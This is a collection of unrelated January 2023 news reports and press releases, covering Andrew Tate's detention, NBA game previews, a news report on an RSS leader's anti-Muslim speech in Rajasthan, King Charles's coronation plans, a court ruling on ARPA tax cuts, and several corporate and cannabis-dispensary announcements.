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Andrew Tate and his brother Tristan are escorted by police officers outside the headquarters of the Bucharest Court of Appeal, in Bucharest, Romania, January 10, 2023. / Credit: Inquam Photos/Octav Ganea/REUTERS

A court in Romania has ruled that misogynist influencer Andrew Tate can be detained for another 30 days, until February 27, as prosecutors conduct their investigation into charges of organized crime, human trafficking and rape. Tate was initially detained in Romania, alongside his brother and two Romanian women, on December 29.

Friday's ruling was the second extension of Tate's detention granted by the court. The judge decided on December 30 to extend both men's detentions from 24 hours to 30 days. The judge said the extensions were granted to give prosecutors time to build their case.

Tate's lawyers appealed against the previous extension, but the appeal was rejected.

Tate is known for promoting hate speech and misogyny online to his millions of social media followers. He and his associates had been under criminal investigation in Romania since April last year.

The group allegedly formed an organized crime group in early 2021 with "a view to committing" human trafficking in Romania, the U.S. and the U.K. in order to "obtain important financial benefits," prosecutors said.

The suspects were accused of working together "with the purpose of recruiting, housing and exploiting women by forcing them to create pornographic content meant to be seen on specialized websites for a cost," according to prosecutors.

The Associated Press reported that the agency responsible for dealing with organized crime in Romania, DIICOT, said it had identified six victims who were sexually exploited and subjected to "acts of physical violence and mental coercion" after raids targeting Tate's alleged operation in late December.

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In a strategic growth move, the Life Sciences Technology and Regulatory company, headquartered in Verona, Italy, recruits Maurizio Giraudo to head its Business Consulting division.

VERONA, Italy, Jan. 24, 2023 /PRNewswire/ -- Arithmos today announced the appointment of Maurizio Giraudo to the role of Managing Director for its Business Consulting division. The strategic hiring comes fresh off a year of consolidated growth and expansion for Arithmos as it looks to not only become a market leader in technology solutions and safety and regulatory services, but a trusted consulting partner in digital transformation and business growth.

Maurizio Giraudo, Managing Director, Divisione Life Sciences Business Consulting di Arithmos

With a law degree from La Sapienza University in Rome, Maurizio Giraudo is a management consulting professional with over 20 years of experience in Life Sciences from commercial excellence and digital transformation to R&D, regulatory affairs and manufacturing for global pharmaceutical, biotechnology, and medical device companies. His career also boasts consulting experience with Accenture and EY, with a combined 14 years as a senior consultant and manager in the Life Sciences divisions.

Arithmos is looking to start the new year right where it left off in 2022: with a clear focus and a strategic growth plan. After its merger with seQure and acquisition of The CQA Company in the United Kingdom, Arithmos now has a complete portfolio of technology solutions, safety and pharmacovigilance services as well as regulatory and quality assurance coverage for the entire GxP environment.

Maurizio Giraudo said "I am certainly enthusiastic to join the growing Arithmos team and contribute to this exciting trajectory it's on. Arithmos' unique combination of regulatory and quality assurance coupled with technology gives companies the right toolset to face the challenges of the life sciences industry today, but they need to know how to use it. That is where I hope to step in. Consulting is where pharma, biotech and medical device companies get their ideas and strategies off the ground. Arithmos has already built an operational powerhouse, I am just hoping to strengthen it".

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Paolo Morelli, CEO and Founder of Arithmos, added "Our team is excited to have Maurizio Giraudo on board and step into this leadership position. Arithmos has been a whirlwind journey of change and growth over the past year, but always focused on where we want to go, and that means strengthening the value proposition for our clients. Maurizio's career track record speaks for itself, and with him guiding our business consulting unit, we are not only going to give our clients the right tools to succeed, we are going to help them get there, with the best strategy possible".

About Arithmos

Arithmos helps Life Sciences companies to gain the best business value through technology-enabled solutions. With the business units seQure and The CQA Company, Arithmos provide Quality Compliance and Consulting services. Arithmos delivers solutions and services for:

Pharmacovigilance & Safety

Regulatory Document Management

Reporting & Analytics

eClinical

Cloud Services

IT Services

Quality Management

Computer System Validation

Regulatory Affairs

Contact:

Umran Turker

Chief Commercial Officer at Arithmos

+39 045 585492

https://arithmostech.com/

Photo - https://mma.prnewswire.com/media/1988861/Arithmos_Maurizio_Giraudo.jpg

Cision

View original content to download multimedia:https://www.prnewswire.co.uk/news-releases/arithmos-appoints-maurizio-giraudo-as-managing-director-of-the-new-life-sciences-business-consulting-unit-301729013.html
Mohanda "Mahatma" Gandhi, shown in this undated file photo, is one of the leaders who carried the dream of universal human rights slowly but relentlessly forward through the 20th century.

Seventy-five years ago on Jan. 30, 1948, perhaps the worlds most renowned apostle of peace and nonviolence was stripped of his life at 78 years old.

Mahatma Gandhi, who championed for Indias independence from British rule, was shot by Hindu extremist Nathuram Godse while on his way to a prayer gathering in New Delhi. Godse tried to shoot himself but was immediately seized by the crowd. He was tried for murder and executed the following year.

Intercultural Center for Peace: Birthday of Mahatma Gandhi celebrated at UNF

Ashok Bazaz, president of the Gandhi Memorial Society, places a flower garland around an 8-foot tall bronze statue of Mahatma Gandhi after it was unveiled during Gandhi Day at the University of North Florida on Oct. 1, 2006, in Jacksonville.

Gandhis legacy extends all the way to Jacksonville where the University of North Florida became the first college in the country and first place in Florida to erect a statue in his honor in 2006.

Created in India by artist Jasu Shilpi and donated by the Gandhi Memorial Society of Jacksonville, the bronze statue is about 8 feet tall and 1,500 pounds. It stands in the Peace Plaza between Founders Hall and J.J. Daniel Hall, adjacent to a similar statue designed by Shilpi of Martin Luther King Jr. that was unveiled in 2012.

Jason Pidcock of Powell's Custom Metal welds the glasses on the top of the ears of a statue of Mahatma Gandhi on Sept. 25, 2006, preparing for its installation at the University of North Florida.

It depicts a lifelike, bespectacled Gandhi walking with a long stick and the base engraved with four principles he stood for: nonviolence, peace, compassion and truth.

University of North Florida: 50 years of learning and growing and a look ahead

In an April 26, 2006, Times-Union story previewing the plans, Dev Goswami of the Gandhi Memorial Society said Gandhi was the most noble man who ever walked the earth.

"The best thing we can do for Gandhi is spread his thoughts and philosophies," he said.

Mohandas "Mahatma" Gandhi sits and spins cotton in Ahmadabad, India, in this file photo taken circa 1931. Gandhi's wooden spinning wheel still stands among the simple throw pillows where he once sat cross-legged, threading cotton, receiving world leaders and promoting his vision of a unified, secular India. Today, just beyond the white-washed cottages of the independence leader's ashram, Muslims and Hindus have turned on one another with a ferocity not seen in a decade.

Ramesh Vashi, also of the society, noted that Gandhis philosophies are and will always be needed across the globe.

"His values are so relevant in today's age," he said. "Violence is rampant in today's society."

Vintage Times-Union: Martin Luther King Jr.'s stop in St. Augustine hastened passage of Civil Rights Act of 1964

In 2017 one of Gandhis grandsons even visited Jacksonville to speak at a Girls Inc. of Jacksonville event. Robin Rose, CEO of the agency at the time, was a longtime friend of Arun Gandhi, the subject of her doctoral dissertation and she once ran his nonprofit in Denver. He travels the world sharing the lessons from his elders.

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Peace activist and author Arun Gandhi speaks in front of a photo of his grandfather Mahatma Gandhi, leader of the Indian independence movement and proponent of nonviolent civil disobedience. The younger Gandhi served as the keynote speaker at a Girls Inc. of Jacksonville event in 2017.

"My grandfather had a vision for an empowered and nonviolent world that he passed down to me," the 83-year-old activist and author at the time told the Times-Union ahead of his visit. "He lived by his most famous saying, 'Be the change you want to see in the world.' He believed that individual efforts do make a difference in creating the change we want to see in the world, which is a world without violence."

This article originally appeared on Florida Times-Union: Assassinated 75 years, Mahatma Gandhi statue is at UNF in Jacksonville
The Boston Celtics continue on their Florida road trip with a visit to the Miami-Dade arena to play the Miami Heat in their second game in as many nights. With a little luck, they will have a healthier roster available to them than in their game on Monday night against the Orlando Magic as well.

If you happen to be looking for a way to watch the on-court action live on cable television or a local or national online streaming service, keep reading while we get you up to speed on everything else you need to know about the game.

Lets begin with the players who are among those listed to be available to play.

Celtics reportedly interested in dropping 2028 pick protections owed Spurs for Jakob Poeltl trade https://t.co/8BazMumf0R  The Celtics Wire (@TheCelticsWire) January 23, 2023

Injuries of note

For the Celtics, no report was current at the time of writing, but in their last report, Danilo Gallinari (ACL), Malcolm Brogdon (personal reasons), and Marcus Smart (ankle), were out, and Robert Williams III (knee) was questionable.

For the Heat, Nikola Jovic (back), Duncan Robinson (finger), and Omer Yurtseven (ankle) are out.

What might happen in the NBAs Atlantic Division teams at the 2023 trade deadline? https://t.co/nZVtM5dK5c  The Celtics Wire (@TheCelticsWire) January 20, 2023

Likely starting lineups

Boston Celtics

Marcus Smart

Derrick White

Jayson Tatum

Al Horford

Robert Williams III

Miami Heat

Kyle Lowry

Tyler Herro

Jimmy Butler

Caleb Martin

Bam Adebayo

The Celtics may add a wing to help take pressure off of their stars, as well as look at a big man who might be able to ease the minute load on the ball clubs frontcourt. https://t.co/86HFFbQdkj  The Celtics Wire (@TheCelticsWire) January 20, 2023

How to watch or stream

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Heres when you should tune in to see the game:

Date: 1/24/23

Time: 7:30 p.m. ET

TV Channel: TNT, NBC Sports Boston

Live Stream: fuboTV (watch for free)

This is every player in Bostons history who wore the Celtics No. 19 jersey for at least one game as of September 2022. https://t.co/preG6EVENz  The Celtics Wire (@TheCelticsWire) January 24, 2023

Listen to the Celtics Lab podcast on:

Apple Podcasts: https://apple.co/3zBKQY6

Spotify: https://spoti.fi/3GfUPFi

YouTube: https://bit.ly/3F9DvjQ

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Story originally appeared on Celtics Wire
The recent road trip for the Brooklyn Nets finished with an impressive victory over the Golden State Warriors on Sunday. The 2-3 record during that span has the team ready to return to the east coast with a division road matchup against the Philadelphia 76ers on the horizon.

The Nets will return home to Barclays Center this week with a special event for fans. On Thursday, Jan. 26, when the Nets host the Detroit Pistons, they will commemorate the Chinese New Year with various cultural activities throughout the arena to celebrate the year of the rabbit. Players like Ben Simmons are featured in promotions wearing celebratory merch that will be available throughout the night for purchase.

Kyrie Irving is scheduled to welcome the crowd following a special message from Consul General Huang Ping from the Consulate General of the Peoples Republic of China in New York. The celebration will be presented by  (WAH YAN CHING NIN), is part of the Nets Unite platform, which seeks to build unity, celebrate culture, and foster equity by amplifying the rich traditions of our diverse community.

The Brooklyn Nets are excited to work alongside our partners at  (WAH YAN CHING NIN) to celebrate Chinese New Year with our fans, said BSE Global CEO Sam Zussman in a statement. Our game on Jan. 26 is an opportunity for us to come together and pay homage to the rich history and traditions associated with Chinese culture across the world and in our own community.

Thursdays game will begin a three-game homestand featuring matchups with the New York Knicks and Los Angeles Lakers.

List

NBA Twitter reacts to Nets' comeback 120-116 win over the Warriors

Story originally appeared on Nets Wire


In a viral video, an RSS official can be heard demanding the conversion of 30,000 mosques [in India] into temples.

Huneza Khan | TwoCircles.net

Support TwoCircles



NEW DELHI  In a purported video from Rajasthan, a Rashtriya Swayamsevak Sangh (RSS) leader is seen making incendiary remarks against Indias religious minorities, especially Muslims.

The video is from Lohawat village of Jodhpur district in Rajasthan, where the event took place.

Ishwar Lal Pracharak, a prominent Rashtriya Swayamsevak Sangh (RSS) leader, allegedly delivered an incendiary speech at the Trishul Deeksha (Trishul Initiation) event that was jointly organized by the Hindu nationalist group RSS and the VHP (Vishwa Hindu Parishad) on January 15. He can be heard making derogatory remarks against religious minorities, especially the Muslim community.

Watch the video here:

Location: Lohawat, Rajasthan

Event: Trishul Deeksha

Organizer: Vishwa Hindu Parishad & Bajrang Dal RSS Pracharak & VHP Sangathan Mantri Ishwar Lal delivers hate speech; dehumanizes Muslims, calls for converting 30,000 mosques into temples & boycott of Halal products. pic.twitter.com/4puOYifpMp  HindutvaWatch (@HindutvaWatchIn) January 21, 2023

Pooni Devi, the village Sarpanch of Lohawat, confirmed to TwoCircles.net that the RSS and VHP held the Trishul Deeksha event in Lohawat village on January 15, but he refused to divulge any information about hate speech delivered at the event.

I wasnt present at the Trishul Deeksha event. It was organized with permission. In Lohawat, there have never been any communal incidents. We coexist in social harmony as brothers, Devi said.

He added that such hate speech if it happened is condemnable.

Ishwar Lal Pracharak can be heard at the beginning of the video, In India, 3000 temples were demolished and mosques were built on their sites. What number is it? 30,000. Do you wish to convert them back to temples or not? Although we built the Ram temple, there are still 30,000 other temples. They must be transformed into temples,

Lal is heard hailing Bajrang Dal (a right-wing Hindutva outfit) after warning them about how Hindus in the neighbouring countries are being persecuted. He claims that the Bajrang Dal is the group that will assist Hindus who have been forced out of Pakistan and Bangladesh in obtaining Indian citizenship.

Lal claims that Indias neighbouring countries such as Pakistan, Afghanistan, Bangladesh, Nepal, Bhutan, Sri Lanka, Sumantra, Java, Indonesia, and Malaysia belonged to India once.

They were all split apart by our weakness. Do we want to reclaim these nations? We must strengthen ourselves, Lal proclaims.

Desh ko Akhand banana wale sanghathan ka naam hai Bajrang Dal. (The name of the organization that will work towards uniting these parts is Bajrang Dal.) he can be heard saying.

In a reference to Indias religious minorities of Muslims and Christians, Lal says, Ghar mei kutta ata hai, billi ghuss jaati hai. Aur kayi ghar mei toh Muslim aur Isaiyon ko laa laakar tum bithate ho. Jo mandir ko todhta hai jo gae ko marta hai. Gaeka maas khata hai. (We allow dogs and cats inside our house. And in many homes, you all allow Muslims and Christians. The ones who broke our temples. The one who kills our cows. The one who eats cows.)

While targeting Muslims, Lal makes a reference to the existing caste system in India which excludes low-caste Hindu groups such as Dalits. He keeps a beard but not a moustache. You make them sit in your homes. But our brothers of the same caste, who worships the cow, blow an earthen candle, and go on a religious pilgrimage, cant visit our homes.

And Muslims will get into [these groups] and raise the slogan of Jai Bheem Jai Meem, dont they? Bheem was our own, but where did these Meem (Muslims) come from?) he asks.

Lal also exhorts his audience not to buy Halal products. You buy Halal products. Never buy products that are Halal. Who gets that money? It goes to Muslims. Whats the name of the organization that stops this? Bajrang Dal.)

Lal also refers to the population control bill, stating if such a bill is not enacted, it will lead to the destruction of temples. Population control bill has to be enacted. Otherwise, the temples will be destroyed. The organization that will help enact the Population Control law is Bajrang Dal.) he says.

The speech ends with Lal promoting the idea of establishing a Hindu nation, saying Bharat ko Hindu rashtra banana wali sangathan ki kalpana leke jo chal rahe hai uss sangathan ka naam hai Bajrang Dal. (The organization that will make India a Hindu nation is Bajrang Dal.)

Talking to TwoCircles.net, ASP Lohawat, Akhilesh Sharma refused to react to the video This video is not from our area. We dont have knowledge about it. I can only comment after confirming it, he said.

TwoCircles.net reached out to Kamal Kishor, a VHP worker who attended the Trishul Deeksha event in Rajasthan. He refused the allegations of any hate speech in the event.

Ishwar Lal is a repeat offender

Lal is a repeat offender and hate speeches on his YouTube channel have been reported on several occasions.

At another event held earlier this month in Rajasthan, a video surfaced wherein Ishwar Lal can be heard making provocative claims in a speech laced with disinformation.

The 39-minute speech is replete with targeting minorities and fear-mongering. He raises familiar bogeys of Love Jihad and blames Muslims for bringing untouchability to India and that with their rising population, Muslims will take over temples from Hindus in the coming decades.

Notably, in the poll-bound Rajasthan, several Trishul distribution programs have apparently taken place in rural Jodhpur, some of which have been addressed by Ishwar Lal. These incidents are said to have taken place in Balesar, Rampura, Odiyan, and Dechu, among other places.

Huneza Khan is a journalist from Bhopal, Madhya Pradesh. She tweets @KhanHuneza
The American Technologies in Agribusiness group from Ukraine visited Ohio last summer.

Cosmopolitan Club donates $400 to support Ukrainian families

FREMONT - The Cosmopolitan Club of Sandusky County, a 128-year-old women's study group organization, collected a $400 donation to give to bridges.com.ua/en, an agricultural educational exchange program to support its member families during the Ukrainian crisis. The Ukrainians refer to their group as American Technologies in Agribusiness.

The meeting was held at the Sandusky County Chamber of Commerce on Jan. 9 and Tom Sachs, a local retired farmer, gave a PowerPoint presentation about the impact of the war on farmers in Ukraine. He has personally hosted Ukrainian farmers and led tours of American farms in the Midwest including Ohio, Illinois, California, Wisconsin and more U.S. states.

The women's study theme for the 2022-2023 year is the country of Ukraine, covering such topics as agriculture, education, religion, art, language, and leisure. The donation was inspired by the courage of the people in this war-torn country and their struggle to survive their present circumstances in rural communities.

Curator Jane Spriestersbach organizes books at Catawba Museums newly named Donald and JoAnn Rhodes Memorial Library

Museum library renamed to honor Donald and JoAnn Rhodes

PORT CLINTON - The repository of research materials at Union Chapel Museum has been officially named the Donald and JoAnn Rhodes Memorial Library by trustees of the Catawba Island Historical Society (CIHS).

Members of the societys board and staff have been working with JoAnn Rhodes, widow of longtime Catawba historian Donald Rhodes, to receive and catalog books and other records her husband had collected for nearly half a century. Included are historical works about Catawba Island, Ottawa and surrounding counties, Ohio, and the United States.

One of the promises we made to the community when Union Chapel museum opened its doors in 2018 was to establish a Heritage and Genealogical center that would help our patrons do family tree research, said CIHS President David Wonnell. The books and other documents from the Rhodes archives are helping to bring that project to life. People looking for information about their ancestors are discovering that our library is a good place to start.

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Under the direction of museum staff  Jane Spriestersbach, curator, and Lori Letterhos, membership and database administrator  volunteers work year-round at cataloging information from reference materials into a computer dedicated to genealogical and other research projects.

Between answers to be discovered on the shelves of our library, and those available through the computer, demand on our capabilities is beginning to grow," said Wonnell. We are currently working on a procedure to grant access to our resources at no cost to members of the Historical Society. A fee to cover printing and related costs may ultimately be sought from researchers who are not members.

The museum does not charge for admission. Operating costs are principally covered by CIHS membership dues, gifts and grants.

Two types of membership are available in CIHS: annual and lifetime. The cost of an annual Historian membership is $25 per year. For an annual Curator membership, it is $100 per year. A one-time payment of $1,000 purchases a perpetual membership in the organizations Council of Nabagon.

New and renewal memberships are being sought. Checks can be mailed to CIHS, P.O. Box 396, Port Clinton, 43452. Additional information, including directions for making credit card payments are available on the societys website which is catawbaislandhistoricalsociety.com.

Art Garage to offer 'Landscape in Oil'

PORT CLINTON - The Greater Port Clinton Area Arts Council has announced another series of classes coming to The Arts Garage this winter, Landscape in Oil.

Led by TAG resident artist Rick Dziak, Landscape in Oil will cover composition, color mixing, values and the direct approach to oil painting wet into wet.

The cost for all four classes is $175 per person or $150 for GPCAAC members, and all take place at TAG.

Classes will be held on Saturdays, Feb. 18, Feb. 25, March 4, and March 11. All classes take place from 1:30 until 4:30 p.m.

To sign up for classes, visit gpcaac.org and search under the Classes tab on the homepage. Space is limited to eight students. After sign up, a suggested list of supplies will be available.

The Arts Garage is in the citys old maintenance garage at 317 W. Perry St.

This article originally appeared on Fremont News-Messenger: Community Roundup: Area club donates to aid Ukrainian families
LONDON (Reuters) - The crowning of Britain's King Charles III this May will be celebrated with traditional processions, a concert at Windsor Castle, street parties, light shows and community volunteering, Buckingham Palace announced on Saturday.

Charles, 74, automatically became king on the death of his mother Queen Elizabeth last September. The grand coronation ceremony for him and his wife Camilla will take place on Saturday, May 6.

The crowning, the royal family's major set piece event for 2023, has so far this year been overshadowed by the monarch's son Prince Harry's tell-all memoir in which he has made accusations against the King and other family members.

Publishing details of the coronation, Buckingham Palace said Britons, who have already been given an extra bank holiday on May 8 to mark the occasion, will be able to watch the ceremonies and a special concert, plus see iconic buildings lit up with projections, lasers and drone displays.

"Their Majesties The King and The Queen Consort hope the Coronation Weekend will provide an opportunity to spend time and celebrate with friends, families and communities across the United Kingdom, the Realms and the Commonwealth," Buckingham Palace said in a statement.

Charles is also king and head of state of 14 other realms including Australia, Canada, Jamaica, New Zealand and Papua New Guinea.

The formal ceremony will take place at London's Westminster Abbey and will follow the traditional pageantry used for anointing monarchs over the last 1,000 years.

Following processions there and back, the King and queen consort will then appear on the balcony at Buckingham Palace accompanied by members of the royal family.

Buckingham Palace did not say which members, amid speculation about whether Harry will be invited, and if he is, whether he will attend, given his recent high-profile and stinging criticism of his family.

Windsor Castle will host a coronation concert on Sunday May 7, which will be feature an orchestra playing musical favourites with some of the world's biggest entertainers and a special coronation choir, before buildings across the nation are lit up, Buckingham Palace said.

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There will be a public ballot for tickets to allow several thousand members of the public to attend.

Street parties will be held on Sunday, with communities and neighbours encouraged to come together to share food.

On Monday May 8, people will be encouraged to volunteer with charities, faith and community groups to pay tribute to the King's public service and try to create a legacy of voluntary work.

"Their Majesties are looking forward to marking the occasion with the public throughout 2023," Buckingham Palace said.

(Reporting by Sarah Young; Editing by Toby Chopra)
Jan. 23CONCORD  A federal appeals court in Alabama has ruled in favor of New Hampshire and 12 other states who sued the federal government, saying a ban against using federal grants for tax cuts was unconstitutional.

The ruling was timely, with Gov. Chris Sununu set to propose another round of tax cuts as part of his state budget blueprint next month.

In March 2021, Congress approved the American Rescue Plan Act, which gave states more than $200 billion in grants to cope with the COVID-19 pandemic and its economic aftermath.

The aid bill included a provision that no state could use those dollars to cut taxes or delay a state tax increase. It gave the U.S. Treasury Department the authority to recoup from states any state tax cuts made possible by ARPA money.

While New Hampshire was receiving ARPA grants in 2021 and 2022, the state was cutting taxes in the current budget signed by Sununu in June 2021.

These included a third and final cut in the business enterprise tax and, starting on Jan. 1, 2023, a five-year phaseout of the state's 5% tax on stock dividends and bank account interest.

In a unanimous ruling, 11th Circuit Court of Appeals Judge Andrew L. Brasher ruled the ban violated the Spending Clause of the U.S. Constitution because the federal government had not supplied any benchmark for how states could prove those tax cuts were not going to be made even without the ARPA grants.

AG: Ruling upholds 'sovereignty'

"Thus, the states may cut taxes, but the Rescue Plan leaves them guessing whether and how they can spend Rescue Plan funds after the tax cut," Brasher wrote.

"The Rescue Plan's offset provision has affected the states' sovereign authority to tax by binding them to a deal with ambiguous terms and placing them on the hook for billions of dollars in potential recoupment actions."

West Virginia's attorney general had brought the original claim, with New Hampshire joining the lawsuit, along with attorneys general from Alabama, Alaska, Arkansas, Florida, Iowa, Kansas, Montana, Oklahoma, South Carolina, South Dakota and Utah.

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"The ARPA tax mandate was an improper and unconstitutional intrusion on the rights of New Hampshire's elected policymakers to make decisions regarding state tax policy," Attorney General John Formella said in a statement.

"We are grateful that the Eleventh Circuit upheld the district court's decision to issue a permanent injunction against the mandate, and that the state of New Hampshire's sovereignty will remain protected."

To date, the Treasury Department has made no attempt to recoup any of the ARPA grant money from New Hampshire, said Michael Garrity, the state Justice Department's communications director.

The ARPA law requires the states to spend all the grant money they receive by the end of 2024.

Sununu told reporters last week he was reviewing a "menu of options" for how the state could cut taxes over the next two years.

Legislative budget officials have predicted the state will end the current budget on June 30 with a surplus of at least $280 million.

House Majority Leader Jason Osborne, R-Auburn, will testify Tuesday on his bill (HB 133) to repeal the state's communications services tax on landline telephone calls, which raises about $31 million a year.

The conservative New Civil Liberties Alliance also praised the decision after filing a brief in support of the states that challenged the tax ban.

Senior Litigation Counsel Peggy Little said it was important that the court rejected the Treasury Department's attempt to salvage the ban by carrying out changes to it through agency rule.

"Lawmaking power is vested in Congress, not executive agencies. All circuit courts to have reached the merits of the tax cut ban have now held it unconstitutional," she said.

klandrigan@unionleader.com
Ruppell joins the FireTail leadership team from Finland, where the startup has opened a new office in Helsinki to welcome future team members based in that region

MCLEAN, Va., January 24, 2023--(BUSINESS WIRE)--FireTail Inc., a disruptor in API security, today announced the appointment of Timo Ruppell to the executive leadership team as Vice President of Product. In conjunction with bringing Ruppell on board, FireTail also opened a new company office in Helsinki, Finland. Historically a strong cybersecurity research center, FireTail looks to expand the companys talent pool based out of Helsinki and the Baltic States.

Ruppell brings to FireTail a wealth of experience in technology development and team leadership for early stage companies. He will work closely with co-founder and CTO Riley Priddle to define and navigate the development of FireTails API security platform. Previously, Ruppell served as CTO at Mapita Ltd. where he was focused on product design, including security, privacy, and compliance management. Earlier in his career, Ruppell leveraged his PhD in theoretical particle physics as a researcher for Helsinki Institute of Physics.

"FireTail is thrilled to welcome Timo to our growing team. With his background and expertise, I am confident Timo will make a lasting impact on the direction of FireTails products, as well as the API security market," said Jeremy Snyder, FireTail co-founder and CEO. "Its an exciting time for our company as we expand our presence globally, and plant roots in new cities. We look forward to all the collaboration and innovation that will take place at our new office in Helsinki."

"After another year of watching significant breaches and security incidents at major enterprises play out in the news, the need for a new approach to solving the security threats tied to APIs has never been more clear. I look forward to working with the FireTail team to further their mission of offering simple yet effective API security that makes a positive impact and makes the internet a safer place for everyone," added Ruppell.

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FireTail will be at CloudNativeSecurityCon on Feb. 1-2, 2023 in Seattle, Washington. Visit the team in the Startup Zone to learn more about FireTails unique approach to solving API security threats.

The company is actively looking for startup-minded individuals with a passion for application security and cloud technologies to join the team. If you are based in Helsinki and are looking for a new opportunity, learn more about FireTails open roles and company culture at firetail.io/careers.

About FireTail

FireTails API security platform protects programmable interfaces with inline API call inspection and blocking, API security posture management, centralized API audit, and detection and response capabilities. The cloud-based solution helps organizations scale their API landscape and reduce the attack surface. FireTail makes API security as simple as import, setup, done.

FireTail is headquartered in Northern Virginia, with additional offices in Dublin, Ireland and Helsinki, Finland. To learn more about FireTails API security solution visit us at https://firetail.io or follow us on LinkedIn.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005251/en/

Contacts

Tori Odom

LaunchTech Communications

+1-443-752-5466

todom@golaunchtech.com
Frannys Farmacy Unveils Next Evolution of Company With Restructuring, Rebranding, New Products and More Retail Locations

ASHEVILLE, N.C., January 24, 2023--(BUSINESS WIRE)--Pioneering hemp CBD brand Frannys Farmacy today announced a strategic restructuring as the company expands nationwide. Shareholders of separate brand entities Franny's Manufacturing and Franny's Distribution are now shareholders in a new single entityFrannys Operationsrepresenting the entire organization. The new business structure will further business collaborations and partnerships, while positioning Frannys Farmacy as one of the most trusted consumer cannabis brands in the market.

Led by cannabis industry veteran and CEO Franny Tacy, Frannys Farmacy is evolving with a new brand image, new products and more franchises poised to enter emerging recreational markets and existing legal-market cannabis states. Tacy is the first female hemp farmer in North Carolina in over 75 years and is actively engaged in hemp research trials with North Carolina State University. In the past decade, she has expanded the company from its headquarters in North Carolina to comprise 11 dispensaries in six states with a robust eCommerce portfolio and nationwide wholesale accounts.

"Franny Tacy has been a multifaceted leader in the nascent industrial hemp industry since its inception," said Robert Hoban, Global Cannabis Industry Expert and Co-Chair of Clark Hill Cannabis Industry Group. "She leads the everchanging hemp marketplace with a focus on its successfully implemented core competenciesretail, franchising, product development and supply chain management. The corporate restructure provides its current and future investors, customers, and employees with a design aimed to maximize tax efficiencies and affords it the ability to strategically expand into related endeavors across the country, and around the globe."

Frannys formulates a multitude of eco-friendly products from hemp foods to full-spectrum cannabinoid products designed for daily health and wellness. The company has also applied for Delta-9 THC licenses that will allow it to expand into legal cannabis markets.

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About Frannys Farmacy

Established in 2012, Frannys Farmacy is a North Carolina-based, vertically integrated cannabis company dedicated to empowering personal health and wellness. A hemp farmer herself, founder Franny Tacy seeks to further U.S. hemp development and cannabinoid research while expanding consumer access to tested, quality-assured CBD and other plant-based products. With 11 dispensaries in six states and partnerships in legal THC markets, Frannys Farmacy continues to grow its reach and influence. Learn more at frannysfarmacy.com.

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005410/en/

Contacts

Frannys FarmacyMedia

marketing@frannysfarmacy.com

828.216.2836
Cookies Grand Rapids Will Give Away 500 Free Eighths of NOXX Cannabis During Grand Opening of West Michigans Only Cookies Flagship Dispensary

GRAND RAPIDS, Mich., January 24, 2023--(BUSINESS WIRE)--International cannabis lifestyle brand Cookies announced the grand opening of its flagship Grand Rapids dispensary on Saturday, January 28, 2023 in partnership with local cannabis retailer NOXX. Located at 330 Ann St. NW, the dispensary will host a ribbon cutting before officially opening to the public from 9 a.m. to 9 p.m.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20230124005461/en/

Interior of Cookies Grand Rapids dispensary (Photo: Business Wire)

Cookies, founded in 2010 by Bay-area rapper and entrepreneur Berner, has over 57 locations around the world. As the only Cookies storefront in Grand Rapids, the 3,000-square-foot dispensary will house the regions largest selection of Cookies proprietary genetics alongside world-class products from other highly acclaimed brands. The dispensarys interior will focus on key characteristics from the local Grand Rapids community, showcasing one-of-a-kind murals, artwork and local reserve apparel and accessories, all true to the classic and iconic Cookies flagship store design.

"Witnessing the vision we had for the West Michigan community come to life with this new dispensary has been special," said Berner, Co-Founder and CEO of Cookies. "From classic cuts to our newest Cookies strains, this will be the hub for the best selection of cannabis in West Michigan, and I look forward to paying a visit to the store soon."

On January 28, the community is invited to celebrate the new dispensary with a grand opening event where the first 500 people in line for the opening will receive a free eighth of NOXX cannabis flower when they spend a minimum of $25. Other activations include a heated outdoor lounge and music by DJ Composition, with local Grand Rapids vendors onsite throughout the morning and afternoon giving away free food from Patty Matters food truck, coffee from Morning Ritual, body art by Grassroots Henna and Design, caricatures from David Wodarek Caricaturists, and polaroid photography from Celestreeal Endeavors, while supplies last.

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Powered by NOXXs best-in-class retail team, Cookies Grand Rapids customers can expect the same over-the-top hospitality and tailored shopping experience NOXX is known for, including a world-class website for browsing hundreds of products online for home delivery or seamless in-store pickup through a dedicated to-go window. All myNOXX rewards members can also accrue and spend loyalty points at Cookies Grand Rapids in addition to other NOXX locations, with rewards members receiving a $10 coupon each month through March 2023.

"Through our partnership with Cookies, were doubling down on our commitment to what our customers want: the best selection of top-quality cannabis products at the best prices. From Muskegon to Holland to Big Rapids and in betweencustomers will have access to a selection of Cookies products unavailable anywhere else in the region, whether they choose to shop in-store or online," said Tommy Nafso, CEO and founder of NOXX.

With a community-focused growth plan rooted in West Michigan, NOXX has welcomed thousands of customers through its doors since opening dispensaries on 28th Street in August 2022 and Plainfield Ave in November 2022, both of which also have Cookies products available for purchase. Staying true to its commitment to creating a more inclusive world through the power of cannabis, NOXX plans to hire 25% of its employees for the Cookies Grand Rapids store from Grand Rapids Neighborhoods of Focus, 17 census tracts the city has determined suffer as a result of systemic and historic inequities.

Cookies Grand Rapids is located at 330 Ann St. NW, and is open daily from 9 a.m. to 9 p.m. To learn more about Cookies Grand Rapids, visit Cookiesgr.com.

About NOXX

NOXX is a Michigan-based vertical cannabis company providing the best brands at the best prices, through innovation, quality, and inclusivity. From an omnichannel perspective across retail, wholesale, ecommerce and delivery, NOXX offers an unmatched experience meeting customers where they want to shop. The leadership teams extensive history in executive management combined with deep cannabis market knowledge translates to elevated consumer experiences grounded in authenticity. Named for a friendly being from another galaxy on a mission to create a more inclusive world through the power of cannabis, NOXX and its house of brands provide exceptional cannabis flower, pre-rolls, concentrates and other cannabis products at dispensaries across the state. Learn more at NOXX.com.

About Cookies

Cookies, founded in 2010 by Billboard-charting rapper and entrepreneur Berner and Bay Area breeder and cultivator Jai, is the most globally recognized cannabis company in the world. Cookies values the power of the plant and focuses on creating game-changing genetics. The company offers a collection of over 70 proprietary cannabis cultivars and more than 2,000 products. Cookies also actively works to enrich communities disproportionately impacted by the War on Drugs through advocacy and social equity initiatives. Headquartered in San Francisco, the company opened its first retail store in 2018 in Los Angeles, and has since expanded to 58 retail locations in 18 markets across 6 countries. Cookies was named one of Americas Hottest Brands of 2021 by AdAge; the first cannabis brand to ever receive this accolade. To learn more about Cookies, visit cookies.co, and to learn more about Cookies CBD, visit shop.cookies.co

